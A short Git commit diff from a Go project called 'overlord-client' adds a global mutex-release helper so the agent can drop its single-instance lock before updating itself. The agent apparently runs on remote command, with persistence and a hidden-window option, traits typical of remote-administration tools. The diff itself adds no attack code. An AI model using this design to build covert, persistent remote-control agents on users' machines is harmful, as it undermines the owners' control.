fix updating
This commit is contained in:
@@ -12,6 +12,7 @@ import (
|
|||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"overlord-client/cmd/agent/mutex"
|
||||||
"overlord-client/cmd/agent/persistence"
|
"overlord-client/cmd/agent/persistence"
|
||||||
agentRuntime "overlord-client/cmd/agent/runtime"
|
agentRuntime "overlord-client/cmd/agent/runtime"
|
||||||
"overlord-client/cmd/agent/wire"
|
"overlord-client/cmd/agent/wire"
|
||||||
@@ -44,6 +45,7 @@ func HandleAgentUpdate(ctx context.Context, env *agentRuntime.Env, cmdID string,
|
|||||||
defer recoverAndLog("agent update", nil)
|
defer recoverAndLog("agent update", nil)
|
||||||
// Let the command_result flush before beginning process replacement.
|
// Let the command_result flush before beginning process replacement.
|
||||||
time.Sleep(250 * time.Millisecond)
|
time.Sleep(250 * time.Millisecond)
|
||||||
|
mutex.ReleaseGlobal()
|
||||||
if err := runAgentUpdate(sourceAbs, env.Cfg.EnablePersistence, hideWindow); err != nil {
|
if err := runAgentUpdate(sourceAbs, env.Cfg.EnablePersistence, hideWindow); err != nil {
|
||||||
log.Printf("agent_update: %v", err)
|
log.Printf("agent_update: %v", err)
|
||||||
return
|
return
|
||||||
|
|||||||
@@ -42,6 +42,7 @@ func main() {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
defer releaseMutex()
|
defer releaseMutex()
|
||||||
|
mutex.SetGlobalRelease(releaseMutex)
|
||||||
|
|
||||||
for {
|
for {
|
||||||
func() {
|
func() {
|
||||||
|
|||||||
@@ -3,10 +3,32 @@ package mutex
|
|||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
)
|
)
|
||||||
|
|
||||||
const maxMutexLength = 64
|
const maxMutexLength = 64
|
||||||
|
|
||||||
|
var (
|
||||||
|
globalRelease func()
|
||||||
|
globalMu sync.Mutex
|
||||||
|
)
|
||||||
|
|
||||||
|
func SetGlobalRelease(fn func()) {
|
||||||
|
globalMu.Lock()
|
||||||
|
globalRelease = fn
|
||||||
|
globalMu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
func ReleaseGlobal() {
|
||||||
|
globalMu.Lock()
|
||||||
|
fn := globalRelease
|
||||||
|
globalRelease = nil
|
||||||
|
globalMu.Unlock()
|
||||||
|
if fn != nil {
|
||||||
|
fn()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func sanitizeName(name string) (string, error) {
|
func sanitizeName(name string) (string, error) {
|
||||||
trimmed := strings.TrimSpace(name)
|
trimmed := strings.TrimSpace(name)
|
||||||
if trimmed == "" {
|
if trimmed == "" {
|
||||||
|
|||||||
Reference in New Issue
Block a user